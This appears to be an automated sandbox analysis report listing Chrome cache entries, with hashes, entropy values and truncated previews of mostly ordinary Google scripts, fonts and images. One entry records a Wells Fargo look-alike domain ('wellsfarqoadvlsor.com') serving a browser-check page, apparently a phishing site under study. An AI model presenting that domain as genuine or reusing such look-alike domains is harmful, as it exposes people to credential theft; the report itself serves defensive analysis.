..../Dk.8.T....+..%Vs4..DC.R.`..Z..........0.[)N!.....%.>&.b.$.M....P.!...!....'Kv..Nd...mvR.:.L....w..y%.i..H..u....s.Se1.[.)."..)%.I.....(.#M..4.@....#.....X..P<...k..g....O..I..>-...'._.Q..T.y.=Z.GR{]..&t}......>J..!,..X6.HC..$.:.}..z...._b.b.4.E.....;.Ha.?s.

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1136)
Category:	dropped
Size (bytes):	1555
Entropy (8bit):	5.249530958699059
Encrypted:	false
SSDEEP:	24:hY6svN/6zSU6pedQf3Zvcn1BZdAe1nCr1LTHI5z1sW:3qN/2+pUAew85zf
MD5:	FBE36EB2EECF1B90451A3A72701E49D2
SHA1:	AE56EA57C52D1153CEC33CEF91CF935D2D3AF14D
SHA-256:	E8F2DED5D74C0EE5F427A20B6715E65BC79ED5C4FC67FB00D89005515C8EFE63
SHA-512:	7B1FD6CF34C26AF2436AF61A1DE16C9DBFB4C43579A9499F4852A7848F873BAC15BEEEA6124CF17F46A9F5DD632162364E0EC120ACA5F65E7C5615FF178A248F
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html lang=en>. <meta charset=utf-8>. <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">. <title>Error 400 (Bad Request)!!1</title>. <style>. {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//ww

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3889)
Category:	dropped
Size (bytes):	923040
Entropy (8bit):	5.553707443811875
Encrypted:	false
SSDEEP:	12288:+uzISyKCe3r7+bFxnCslLmB1EqCMt8bjIjy:pzISyKCen+PCsgm68bjIW
MD5:	EEBCA9577D3C8296F369C2CAD4989A35
SHA1:	255445B290C3870DE68260AE36242D520A51921D
SHA-256:	00A90A59B4017A65EE7A215FB60CF12A395542761EAACF1158E91FF9FBB9B10B
SHA-512:	DEF7473109EEB5C6E98ABEB628ED4906F6F09052A0FD25F93F6171653EE3D5D3D0E8B5804EAB05019D733444DD6B07017F2E6840BB9D6103A154AE5E0030930A
Malicious:	false
Reputation:	low
Preview:	try{.var rWc=function(a){if(qWc.has(a))return qWc.get(a);throw Error("Gh`"+a);},tWc=function(a){if(sWc.has(a))return sWc.get(a);throw Error("Hh`"+a);},uWc=function(a){for(var b=new Map,c=n(Object.keys(a)),d=c.next();!d.done;d=c.next())d=d.value,b.set(a[d].string,a[d].ik);return b},tR=function(a){this.aa=p(a)};P(tR,x);for(var vWc={ARROW_KEYS:{string:"arrow_keys",ik:"Wxn7ub"},AUTOMATED:{string:"automated",ik:"wjpLYc"},CLICK:{string:"click",ik:"cOuCgd"},DRAGEND:{string:"dragend",ik:"RlD3W"},DROP:{string:"drop",ik:"DaY83b"},GENERIC_CLICK:{string:"generic_click",ik:"szJgjc"},HOVER:{string:"hover",ik:"ZmdkE"},IMPRESSION:{string:"impression",ik:"xr6bB"},KEYBOARD_ENTER:{string:"keyboard_enter",ik:"SYhH9d"},KEYPRESS:{string:"keypress",ik:"Kr2w4b"},LONG_PRESS:{string:"long_press",ik:"tfSNVb"},MOUSEOVER:{string:"mouseover",.ik:"FrfE3b"},RIGHT_CLICK:{string:"rightclick",ik:"CYQmze"},SCROLL:{string:"scroll",ik:"XuHpsb"},SWIPE:{string:"swipe",ik:"eteedb"},VIS:{string:"vis",ik:"HkgBsf"}},qWc=uWc(vWc)

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (58713), with CRLF line terminators
Category:	downloaded
Size (bytes):	158694
Entropy (8bit):	5.787343974303209
Encrypted:	false
SSDEEP:	1536:U3p5C5G97qsO6k/InlvCUxZsSLsR1pSYEuazG4+9UrlP8KthdqHkYv9uvo/LV9uC:1shlvCUjbLswYEuawurRtV5Gv
MD5:	2717972C1A396D445ABC811E65E6B5C0
SHA1:	9FB7755885037D7420A28595FACC20EA4202544F
SHA-256:	149D3C200D0C0B77CFB9A94BB7AA77F41B09351F758FBEB317EBD887EB70BD6D
SHA-512:	CA0116E9BF5B16F9E8BA6FF4D084BEC28952B2E745F00659EE40BF098FE5584BE43B6AFEAC65B2066B614E5915BAEFFA643625F675FAA432B516ED9EA6577035
Malicious:	false
Reputation:	low
URL:	https://online.secure.access.wellsfarqoadvlsor.com/secure/
Preview:	<!DOCTYPE HTML>..<html lang="en">.. <head>.. <title>Checking your browser...</title>.. <meta charset="UTF-8">.. <meta name="viewport".. content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">.. <meta http-equiv="X-UA-Compatible" content="ie=edge">.. <style>a,label,span,svg{display:block;width:100%}.container,body,html,svg{height:100%},::after,::before{box-sizing:border-box;-webkit-tap-highlight-color:transparent}blockquote,body,dd,dl,figure,h1,h2,h3,h4,p{margin:0}ol[role=list],ul[role=list]{list-style:none}html:focus-within{scroll-behavior:smooth}body{text-rendering:optimizeSpeed;font-size:16px;background-color:#fff}iframe{position:absolute;top:-200vh}a,label,span{font-family:Arial,sans-serif;max-width:max-content;color:#000}svg{overflow:visible}a:not([class]){text-decoration-skip-ink:auto}@media (prefers-reduced-motion:reduce){html:focus-within{scroll-behavior:auto},::after,::before{a

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4005)
Category:	dropped
Size (bytes):	121397
Entropy (8bit):	5.472638120984786
Encrypted:	false
SSDEEP:	1536:OYIcfKtWtBpDiQk+QlnjKQ/169Q1qL8QyeQbt0vza52AoNWyYNMf/WULPT1VjPuB:dIyK9umKQ4C6K0vz/PT1VCN8A
MD5:	21B4B6C5C9F0AD04F3EA3612108FDE49
SHA1:	60A9BFD282F5C1CDBF8567D552F055BB8CB5CB9D
SHA-256:	832A1311F1ED475C49B2C9E6B9F1A1602CE7173CC69D2FC6DD1324D300511B10
SHA-512:	CAC007A6DF7465BDDF3DE2D4B011736125AA6F5FE6DBEFD3AE435BEBF001E90150F8DE6FA05C7F48D83CF387727AFCD9480E184C2FC677C9303991BB6E9ECCF4
Malicious:	false
Reputation:	low
Preview:	(function(){var m,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},t=ca(this),v=function(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.v("Symbol",function(a){if(a)return a;var b=function(g,f){this.$jscomp$symbol$id_=g;ba(this,"description",{configurable:!0,writable:!0,value:f})};b.prototype.toString=function(){return this.$jscomp$symbol$id_};var c="jscomp_symbol_"+(Math.random

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.280394654123195
Encrypted:	false
SSDEEP:	3:WZoSISHmn:WZoSfmn
MD5:	4708D1B37F72B842EFE4238A9825064B
SHA1:	889321990FC6854DD351DF9DE8D41D2C9253BAF0
SHA-256:	10B772A54149F2086265D2CAF0C434B7CABE913BBE3665CB9DE5FAEC5EB2FB7F
SHA-512:	1285F4AEFE4F061D9D53FE96509AD93070843265C306123D197DF3603EEFF92FC6017019410015203B2DF139CC9594E387246D4211EADE320A7E77CCCA6EFDDA
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwncHhV_nsiGYRIFDZFhlU4SBQ0G7bv_?alt=proto
Preview:	ChIKBw2RYZVOGgAKBw0G7bv/GgA=

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1195)
Category:	downloaded
Size (bytes):	208991
Entropy (8bit):	5.5222563123974515
Encrypted:	false
SSDEEP:	3072:zhowDRxNrA//e9ItRxaeLWl+ASbhvNi5QpPLHNzqN2NIuOtU3FyGPDBms8:6wpkBOeSlPSKOLHNziA1pPDBms8
MD5:	610B5B8B695F5C485199F902CF8BF365
SHA1:	C0BDD53303B1B3EEBBABFAEB0470D8FB256CD53B
SHA-256:	FBFDB6975EEA988C823D2F7935E1238DC0D03CBDAC1898314573ACE61A8B5333
SHA-512:	94578B62B37DA1D68CC753CCED759BD14EDE6AFBA9F40BE96DDC63B47DC8595671BF70DD62BE3BA82E889B6C7CB9FAA077176C575392703A302CA9C53D20B11B
Malicious:	false
Reputation:	low
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=client/exm=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_1"
Preview:	gapi.loaded_1(function(_){var window=this;._.zg=(window.gapi\|\|{}).load;._.Rn=_.xe(_.Ie,"rw",_.ye());.var Sn=function(a,b){(a=_.Rn[a])&&a.state<b&&(a.state=b)};var Tn=function(a){a=(a=_.Rn[a])?a.oid:void 0;if(a){var b=_.ue.getElementById(a);b&&b.parentNode.removeChild(b);delete _.Rn[a];Tn(a)}};_.Un=function(a){a=a.container;typeof a==="string"&&(a=document.getElementById(a));return a};_.Vn=function(a){var b=a.clientWidth;return"position:absolute;top:-10000px;width:"+(b?b+"px":a.style.width\|\|"300px")+";margin:0px;border-style:none;"};._.Wn=function(a,b){var c={},d=a.yc(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e\|\|(e=d.width\|\|a.width);f\|\|(f=d.height\|\|a.height);d.width=c.width=e;d.height=c.height=f;d=a.getIframeEl();e=a.getId();Sn(e,2);a:{e=a.getSiteEl();c=c\|\|{};if(_.Ie.oa){var k=d.id;if(k){f=(f=_.Rn[k])?f.state:void 0;if(f===1\|\|f===4)break a;Tn(k)}}(f=e.nextSibling)&&f.dataset&&f.dataset.gapistub&&(e.parentNode.removeChild(f),e.style.cssText="");f=c.width;h=

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	671
Entropy (8bit):	4.971968787420344
Encrypted:	false
SSDEEP:	12:UJO694211FfgsO6ZRoT6pWiIKhhxkmgs6ZmOHc9n+5cMK00k14enEPCedG:G9JFfbOYssNVkmbYmOOk4TfenEPCD
MD5:	200544343AC58000DD445A295F748A8E
SHA1:	70F740C6752C4DE850A5482053CA052F3F68B295
SHA-256:	F57F59415E41576EDD75269D3DA0D9F6B648C86B072AB4BFBA64F3F3C2F5A16D
SHA-512:	AA34DCB2556E69A6C25D6732E8FAF2BE7F54E0AADC305CCBE4B3C3A4C11BE60DA0ABC02EF2A8173507F15C2CB4D356B3A9EFE010095EB5EEE0C880E1B924EF24
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css2?family=Google+Material+Icons:wght@400;500;700
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ fallback */.@font-face {. font-family: 'Google Material Icons';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlematerialicons/v143/Gw6kwdfw6UnXLJCcmafZyFRXb3BL9rvi0QZG3Q.woff2) format('woff2');.}...google-material-icons {. font-family: 'Google Material Icons';. font-weight: normal;. font-style: normal;. font-size: 24px;. line-height: 1;. letter-spacing: normal;. text-transform: none;. display: inline-block;. white-space: nowrap;. word-wrap: normal;. direction: ltr;. -webkit-font-feature-settings: 'liga';. -webkit-font-smoothing: antialiased;.}.

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	2977410
Entropy (8bit):	5.648861099995264
Encrypted:	false
SSDEEP:	24576:rC+BZ7KPOoN3qjTd0FN359tHakVb3hTyxYg:LBZ7KPOoNc0/59tHakVb3hmSg
MD5:	A710EB0E0D26F6AC21D745F42D00900A
SHA1:	A1F6E46AF8F130F9EDFDBC09B113A4B77FE18137
SHA-256:	6E9FF948AF973FD3B7F420CDAEF8DCC97F201381ABFABE816E2A26B08CDD0E01
SHA-512:	05C9781D17849C133751E5351DACEB3B581171BAA105691AD271DEFEA1251E1DDA17ACDBBD0F9E95AD1477F588463E22C8D32576B33BF0D0D2DCDEDF0E6CA385
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/_/apps-fileview/_/ss/k=apps-fileview.v.VnclU09n8b4.L.W.O/am=gME/d=0/rs=AO0039smxPEH3YZ8nEgusSDDRtnyTzbhnw
Preview:	.Fng7d{width:100%;border-radius:50%}.TW497b{height:56px}.TW497b.znIWoc{border-bottom:1px solid var(--gm3-sys-color-outline-variant,#c4c7c5)}.mVuend{height:72px}.mVuend.znIWoc{border-bottom:1px solid var(--gm3-sys-color-outline-variant,#c4c7c5)}.mVuend .W7g1Rb-rymPhb-Gtdoyb{gap:8px}.WgAPob{margin-top:8px;margin-bottom:8px}.OiePBf-zPjgPe{display:var(--gm3-focus-ring-outward-display,none);pointer-events:none;position:absolute;z-index:1;border-start-start-radius:calc(var(--gm3-focus-ring-outward-target-shape-start-start, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-start-end-radius:calc(var(--gm3-focus-ring-outward-target-shape-start-end, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-end-end-radius:calc(var(--gm3-focus-ring-outward-target-shape-end-end, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-end-start-radius:calc(var(--gm3-focus-ring-outward-target-shape-end-start, 0px) + var(--gm3-focus-ring-outward-offset, 2px));inset:calc(var(--gm3-focus-ring-out

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1136)
Category:	dropped
Size (bytes):	1555
Entropy (8bit):	5.249530958699059
Encrypted:	false
SSDEEP:	24:hY6svN/6zSU6pedQf3Zvcn1BZdAe1nCr1LTHI5z1sW:3qN/2+pUAew85zf
MD5:	FBE36EB2EECF1B90451A3A72701E49D2
SHA1:	AE56EA57C52D1153CEC33CEF91CF935D2D3AF14D
SHA-256:	E8F2DED5D74C0EE5F427A20B6715E65BC79ED5C4FC67FB00D89005515C8EFE63
SHA-512:	7B1FD6CF34C26AF2436AF61A1DE16C9DBFB4C43579A9499F4852A7848F873BAC15BEEEA6124CF17F46A9F5DD632162364E0EC120ACA5F65E7C5615FF178A248F
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html lang=en>. <meta charset=utf-8>. <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">. <title>Error 400 (Bad Request)!!1</title>. <style>. {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//ww

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	464
Entropy (8bit):	4.758217138015706
Encrypted:	false
SSDEEP:	12:uZC4v1CYZOgX8XP9GTBdA37dpXaGC8aLK:uZC4vgYZLPQ5C8a+
MD5:	BA6AB51487CFAEF8F7E56133C34AAE37
SHA1:	19DF244D1D07FF43020A7B001A5B27498507CB7D
SHA-256:	FB20FC7C1F7CFCF723EFCEE54434C316E05EE614F707502344330828FFC1CC98
SHA-512:	95EC94EE16487C430C45E98CF822425F2C7934F69CA257C5E20B1F9E659D6BBF6519E09AD65CE18DA8CA3786D477FC93286F3C6C6AAA1C08B319A4B9AAE854EA
Malicious:	false
Reputation:	low
Preview:	{. "error": {. "code": 403,. "message": "Requests from referer \u003cempty\u003e are blocked.",. "status": "PERMISSION_DENIED",. "details": [. {. "@type": "type.googleapis.com/google.rpc.ErrorInfo",. "reason": "API_KEY_HTTP_REFERRER_BLOCKED",. "domain": "googleapis.com",. "metadata": {. "service": "blobcomments-pa.googleapis.com",. "consumer": "projects/298134251447". }. }. ]. }.}.

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:	384:ctE5KIuhGO+DSdXwye6i9Xm81v4vMHCbppV0pr3Ll9/w:cqrVO++tw/9CICFbQLlxw
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	259
Entropy (8bit):	6.7268503778685105
Encrypted:	false
SSDEEP:	6:6v/lhPeoMMphEt0Sa2AKhmC4cR5HIQoplQfQjy30up:6v/7bn2AKhmMjHv2lQfQjw0c
MD5:	AF848AEE503A57E479B0FB57318F3F2F
SHA1:	68FE7097531D492691C6FA3454C8192D13E8572F
SHA-256:	33DD0582F6972DDDB05BEE6FD5EA0312FBD782A8003F4C7876AFEBD0F08F49AD
SHA-512:	1225614BBD2BD8DCF57B31759093EC92096A16AB428DE43606A8F71367BF247B9ADFE1F2C18E5F7156A216CBC4B35CF5070A39E4740FBDE1BAE5709D43734619
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................a....IDATx.cx.l......+g.....N... ...=....D.\|Y8.......]Z...E.p....`5.....}.lD5..3.....?.......?..8..D......H.....n..(?..r.....L3....\|.....cm...@j@..j.8..\|T/ ....4...^..P>PC:<.>#......CBz.d..".^8.....h......V...Q......IEND.B`.

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	121112
Entropy (8bit):	5.837130305275228
Encrypted:	false
SSDEEP:	3072:kyW/Za21hsq1xCLqrQcS8xriAX7E1fbaRrcjSbPxtKDY/Ji/JPvhv:kyWhvHCLqEcS8xOAX7E1f2BPM
MD5:	EAAA71ED8F32B85F24FD3EBC43535BCC
SHA1:	CFFB0A1096D61DC0BA476D19381806BEC8264EF4
SHA-256:	AF2F1227E6BE9926C8A5E9FC5FCE394C150E19412248A3C8F9BC65076E3AECBB
SHA-512:	F178343DFD51C11A326D2322830436188122A3F56BF964C8075291F0D41489048735A356A605579F28B7DA67FFFDB87C2D390D82CE8AB61A54A907AD02CE49C2
Malicious:	false
Reputation:	low
URL:	https://ssl.gstatic.com/docs/common/viewer/v3/v-sprite60.svg
Preview:	<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0" y="0" width="31px" height="4060px" viewBox="0 0 31 4060" preserveAspectRatio="none"><g transform="translate(0,2170)"><path d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,2428)"><path fill="#C4C7C5" d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,3396)"><path d="M17.705 10.1401L14.3 4H9.70001L3.60001 15L5.70001 19H13.8027C14.2671 19.8028 14.9121 20.488 15.6822 21H5.70001C5.00001 21 4.30001 20.6 3.90001 19.9L1.80001 15.9C1.50001 15.3 1.50001 14.6 1.80001 14L8.00001 3C8.30001 2.4 9.00001 2 9.70001 2H14.3C15 2 15.7 2.4 16.1 3L20.0307 10.0882C19.6959 10

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.47887345911425
Encrypted:	false
SSDEEP:	3:pPX38/ZoSISHN87lSNDr1d:pPn8/ZoSfN87lSBBd
MD5:	844E7AD848816441E2F3D9E9D6E63047
SHA1:	D30409FA96F74212C26ABAEB5DE8D2857246EBA8
SHA-256:	963371AAD7DF37F73FC1DE7742D11DF335B339721B2C3308DA44188594F27F4B
SHA-512:	33C66E4109D085D6481F33744520A461FA8819852975A23EF7297B772D9AFB506A855FC738935DAD8FD1D6CBAD2F0BFEE88183AEA3A87F5276E34DCE41FEC9DB
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISJQm4AQ_njqwvuhIFDZFhlU4SBQ0G7bv_EgUNkWGVThIFDQbtu_8=?alt=proto
Preview:	CjAKBw2RYZVOGgAKBw0G7bv/GgAKDQ2RYZVOGgQIVhgCIAEKDQ0G7bv/GgQIVhgCIAE=

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:HKmn:qmn
MD5:	EC331136E75314D2030EE013B6069921
SHA1:	6B7428B8B15616A67F767D42964AF94FCBE2A803
SHA-256:	A7358DF6B7B60280F2A0D7CD5B70A9F1DFA4FCE5C31FB1A24FB2F109AF7EE977
SHA-512:	30C9B411C937F7D3DE9E59D8BE1CDE4F262B05C6AC2EC2D2C1956E705FE255D84DE17913826A0378B7FD4E51E075EE72A6BF16B870BF78B83D4F1D4507A44278
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmlNHcUu78_khIFDQbtu_8=?alt=proto
Preview:	CgkKBw0G7bv/GgA=

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (572)
Category:	downloaded
Size (bytes):	2251461
Entropy (8bit):	5.6548289015721975
Encrypted:	false
SSDEEP:	49152:mw7y6e8YIWa6qbA/u97M9dK1FJP+kcNThSKJPyAI0:cl
MD5:	23BD69179A2F61101DB1142E00B2C30A
SHA1:	838774E7337870A24F42022D1D6E754D29BFF72A
SHA-256:	DD748254F730F491B2E0BFE8C693175096C66412E55F11979CB471229CF72AF4
SHA-512:	5A9C7F697B61CACC3CEC86A23F76530B50D4E69062F9EAE10CAF0B0BF061B3785B9FED96CE03A7D1247B66EFFE1F1983BDE6AA89B43E38EC18CCACD6E41B7F77
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.sdyYGXG50sM.O/am=gME/d=1/rs=AO0039uViBYhO_mJm9R2c8FbVj6CszGwNA/m=v,wb"
Preview:	try{.var _F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};_F_toggles_initialize([0xc180, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././... Copyright (c) 2015-2018 Google, Inc., Netflix, Inc., Microsoft Corp. and contributors. Licensed under the Apache License, Version 2.0 (the "License");. you may not use this file except in compliance with the License.. You may obtain a copy of the License at. http://www.apache.org/licenses/LICENSE-2.0. Unless required by applicable law or agreed to in writing, software. distributed under the License is distributed on an "AS IS" BASIS,. WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. See the License for the specific language governing permissions and. limitations under the License.././. SPDX-License-Identifier: Apache-2.0././*.

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2049)
Category:	dropped
Size (bytes):	14486
Entropy (8bit):	5.4718895434721855
Encrypted:	false
SSDEEP:	384:IYim7O/sAg9U6KAQdkzFc+5aiWQLHO91CIuW:IoqUAh8vz5W2E
MD5:	852EB28FFE70864E2DA7A630DB5EE2FD
SHA1:	E83A4A9E0FA2B15F5C3257ABDD6903AC3801BC49
SHA-256:	E6EA49B04FF853C39C64332558E2B75A04D16A57ED8533B1691102B27C0CB712
SHA-512:	494D2DCB3FEE90430CDBEAA5693A2B1D41DC5EF545B2EA0D438B68FCC9375943789930ED619B6979FE9CE14A5E00B10AA6C1D6851282172E64CF9DA61B696F2F
Malicious:	false
Reputation:	low
Preview:	(function(){var aa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ca=ba(this),g=function(a,b){if(b)a:{var c=ca;a=a.split(".");for(var d=0;d<a.length-.1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&aa(c,a,{configurable:!0,writable:!0,value:b})}},h=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype."+c+" must not be a regular expression");return a+""};.g("String.prototype.endsWith",function(a){return a?a:function(b,c){var d=h(this

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 54, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3170
Entropy (8bit):	7.934630496764965
Encrypted:	false
SSDEEP:	96:c2ZEPhMXQnPkVrTEnGD9c4vnrmBYBaSfS18:c2/XQnPGroGD9vvnXVaq
MD5:	9D73B3AA30BCE9D8F166DE5178AE4338
